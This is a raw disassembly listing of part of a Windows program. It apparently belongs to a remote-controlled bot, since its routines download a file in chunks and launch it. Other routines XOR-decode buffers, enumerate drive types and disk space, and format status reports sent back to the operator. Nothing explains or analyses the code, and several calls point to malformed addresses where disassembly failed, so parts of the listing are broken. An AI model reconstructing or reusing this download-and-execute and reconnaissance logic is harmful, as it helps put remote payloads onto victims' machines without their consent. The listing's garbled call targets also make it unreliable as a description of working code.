		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_40C966
		push	offset dword_42E310
		jmp	short loc_40C984
; ---------------------------------------------------------------------------


loc_40C966:				; CODE XREF: sub_40C8B4+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_40C2CB
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_40C997
		push	offset dword_42E2E0


loc_40C984:				; CODE XREF: sub_40C8B4+88j
					; sub_40C8B4+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_40CA93
; ---------------------------------------------------------------------------


loc_40C997:				; CODE XREF: sub_40C8B4+C9j
		mov	esi, 1000h


loc_40C99C:				; CODE XREF: sub_40C8B4+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40CA63
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40CA04
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_4196EF
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_43AD94
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		jmp	short loc_40C99C
; ---------------------------------------------------------------------------


loc_40CA04:				; CODE XREF: sub_40C8B4+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E108
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_4]
		call	sub_417900
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_43AE30
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	1
		nop
		call	near ptr 26302E2h


loc_40CA63:				; CODE XREF: sub_40C8B4+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset dword_42E28C
		push	eax
		call	sub_4172B0
		add	esp, 14h


loc_40CA93:				; CODE XREF: sub_40C8B4+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_40CAB8
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_40D679
		add	esp, 14h


loc_40CAB8:				; CODE XREF: sub_40C8B4+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_40CAD3
		push	[ebp+var_4]
		call	sub_417900
		pop	ecx


loc_40CAD3:				; CODE XREF: sub_40C8B4+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_40CAE1
		push	[ebp+arg_0]
		call	dword_43AE30


loc_40CAE1:				; CODE XREF: sub_40C8B4+222j
		push	[ebp+var_1C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26302E2h
sub_40C8B4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CAF1	proc near		; DATA XREF: sub_40EE72+381Eo
					; sub_40EE72+3F6Do

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_43AD48
		call	dword_43ACA8
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_40CF7D
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	near ptr 26707CBh
		nop
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_40CBB8
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E5E4
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CB9B
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CB9B:				; CODE XREF: sub_40CAF1+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26302E2h
		nop


loc_40CBB8:				; CODE XREF: sub_40CAF1+68j
		xor	edi, edi
		call	near ptr 26308B3h
		nop
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_417B89
		pop	ecx
		mov	[ebp+var_1C], eax


loc_40CBD2:				; CODE XREF: sub_40CAF1+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_43ACB0
		cmp	[ebp+var_34], esi
		jz	short loc_40CC16
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40CFE3
		pop	ecx
		pop	ecx


loc_40CC16:				; CODE XREF: sub_40CAF1+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		nop
		call	near ptr 2660000h
		cmp	edi, ebx
		jnb	short loc_40CC54
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40CC3E
		mov	eax, [ebp+arg_0]


loc_40CC3E:				; CODE XREF: sub_40CAF1+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_40CC54:				; CODE XREF: sub_40CAF1+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_40CC61
		cmp	edi, [ebp+var_3C]
		ja	short loc_40CCAB


loc_40CC61:				; CODE XREF: sub_40CAF1+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_40CC7B
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E59C
		jmp	short loc_40CC8B
; ---------------------------------------------------------------------------


loc_40CC7B:				; CODE XREF: sub_40CAF1+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E55C


loc_40CC8B:				; CODE XREF: sub_40CAF1+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_4405F0
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_40CBD2


loc_40CCAB:				; CODE XREF: sub_40CAF1+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40CD00
		cmp	edi, [ebp+var_3C]
		jz	short loc_40CD00
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_42E518
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD00:				; CODE XREF: sub_40CAF1+1C4j
					; sub_40CAF1+1C9j
		nop
		call	near ptr 26308B3h
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	near ptr 2651922h
		nop
		push	[ebp+var_1C]
		call	sub_417C3B
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_40CD8A
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_40C259
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_40CD8A
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_42E4E0
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_40CD8A:				; CODE XREF: sub_40CAF1+241j
					; sub_40CAF1+253j
		cmp	[ebp+var_14], esi
		jz	loc_40CFCA
		cmp	[ebp+var_44], 1
		jz	loc_40CE85
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E498
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CE05
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CE05:				; CODE XREF: sub_40CAF1+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_40CFCA
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_43AD0C
		cmp	[ebp+var_30], esi
		jnz	loc_40CFCA
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_42E464
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		add	esp, 24h
		jmp	loc_40CFCA
; ---------------------------------------------------------------------------


loc_40CE85:				; CODE XREF: sub_40CAF1+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_424698
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_424698
		fstp	[esp+590h+var_590]
		push	offset unk_42E414
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CEED
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CEED:				; CODE XREF: sub_40CAF1+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_436EDC
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	near ptr 2780B1Eh
		nop
		cmp	eax, edi
		jnz	short loc_40CF6F
		call	dword_43ACF8
		call	sub_40AC42
		push	esi
		nop
		call	near ptr 77E75CB5h


loc_40CF6F:				; CODE XREF: sub_40CAF1+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_42E3CC
		jmp	short loc_40CF89
; ---------------------------------------------------------------------------


loc_40CF7D:				; CODE XREF: sub_40CAF1+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_42E390


loc_40CF89:				; CODE XREF: sub_40CAF1+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40CFBD
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_40D679
		add	esp, 14h


loc_40CFBD:				; CODE XREF: sub_40CAF1+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_40CFCA:				; CODE XREF: sub_40CAF1+29Cj
					; sub_40CAF1+325j ...
		push	[ebp+var_18]
		call	dword_43ADCC
		push	[ebp+var_48]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 26302E2h
sub_40CAF1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CFE3	proc near		; CODE XREF: sub_40CAF1+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_40CFFF


loc_40CFEF:				; CODE XREF: sub_40CFE3+1Aj
		mov	dl, byte_42F5C4
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_40CFEF

locret_40CFFF:				; CODE XREF: sub_40CFE3+Aj
		retn
sub_40CFE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D000	proc near		; CODE XREF: sub_40EE72+2A7Ep
					; sub_40EE72+2BA4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_4197F9
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_40D000	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D01A	proc near		; CODE XREF: sub_406387+458p
					; sub_406387+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_43F168
		push	0
		push	edi
		call	sub_417330
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40D03F:				; CODE XREF: sub_40D01A+5Bj
					; sub_40D01A+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4191D0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_419250
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D07D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D03F
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D03F
; ---------------------------------------------------------------------------


loc_40D07D:				; CODE XREF: sub_40D01A+4Bj
		dec	esi
		mov	eax, edi


loc_40D080:				; CODE XREF: sub_40D01A+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D08F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D080
; ---------------------------------------------------------------------------


loc_40D08F:				; CODE XREF: sub_40D01A+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D01A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D099	proc near		; CODE XREF: sub_40D24E+51p
					; sub_40D24E+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43ADF8
		sub	eax, 0
		jz	short loc_40D0DC
		dec	eax
		jz	short loc_40D0D6
		dec	eax
		dec	eax
		jz	short loc_40D0D0
		dec	eax
		jz	short loc_40D0CA
		dec	eax
		jz	short loc_40D0C4
		dec	eax
		jz	short loc_40D0BE
		mov	eax, offset word_42DDD0
		retn
; ---------------------------------------------------------------------------


loc_40D0BE:				; CODE XREF: sub_40D099+1Dj
		mov	eax, offset off_42E644
		retn
; ---------------------------------------------------------------------------


loc_40D0C4:				; CODE XREF: sub_40D099+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40D0CA:				; CODE XREF: sub_40D099+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40D0D0:				; CODE XREF: sub_40D099+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40D0D6:				; CODE XREF: sub_40D099+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40D0DC:				; CODE XREF: sub_40D099+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D099	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D0E2	proc near		; CODE XREF: sub_40D12A+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43AC94
		test	eax, eax
		jz	short loc_40D117
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_40D117:				; CODE XREF: sub_40D0E2+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D0E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D12A	proc near		; CODE XREF: sub_40B8D8+1F3p
					; sub_40D24E+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D0E2
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D208
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_419840
		push	edx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		pop	ebx
		jmp	short loc_40D23A
; ---------------------------------------------------------------------------


loc_40D208:				; CODE XREF: sub_40D12A+2Cj
					; sub_40D12A+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_40D23A:				; CODE XREF: sub_40D12A+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D12A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D24E	proc near		; CODE XREF: sub_40D320+17p
					; sub_40D320+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D2C1
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E6A4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	short loc_40D2F5
; ---------------------------------------------------------------------------


loc_40D2C1:				; CODE XREF: sub_40D24E+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D099
		pop	ecx
		push	eax
		push	offset unk_42E658
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 20h


loc_40D2F5:				; CODE XREF: sub_40D24E+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D24E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D320	proc near		; CODE XREF: sub_40EE72+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D341
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h
		jmp	short loc_40D3A2
; ---------------------------------------------------------------------------


loc_40D341:				; CODE XREF: sub_40D320+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_43AD08
		lea	esi, [eax+2]
		push	esi
		call	sub_417B89
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_43AD08
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D399


loc_40D365:				; CODE XREF: sub_40D320+77j
		push	offset off_42E6F0
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D388
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D24E
		add	esp, 10h


loc_40D388:				; CODE XREF: sub_40D320+54j
		push	esi
		call	sub_417AB0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D365


loc_40D399:				; CODE XREF: sub_40D320+43j
		push	edi
		call	sub_417C3B
		pop	ecx
		pop	edi
		pop	esi


loc_40D3A2:				; CODE XREF: sub_40D320+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D320	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3A5	proc near		; DATA XREF: ___:0040E6BAo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4407FC
		call	dword_43AE30
		call	sub_416F25
		call	dword_43ACF8
		call	dword_43ACF8
		mov	ebx, dword_424064
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417330
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_436EDC
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2640000h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 2780B1Eh
		test	eax, eax
		jz	short loc_40D46A
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_424078
		call	esi
		push	[ebp+var_C]
		call	esi


loc_40D46A:				; CODE XREF: sub_40D3A5+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43F1A0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 77E75CB5h
		pop	edi
		pop	esi
		pop	ebx
sub_40D3A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D48D	proc near		; CODE XREF: sub_40D4C5+125p
					; sub_40D4C5+14Cp

arg_0		= dword	ptr  8
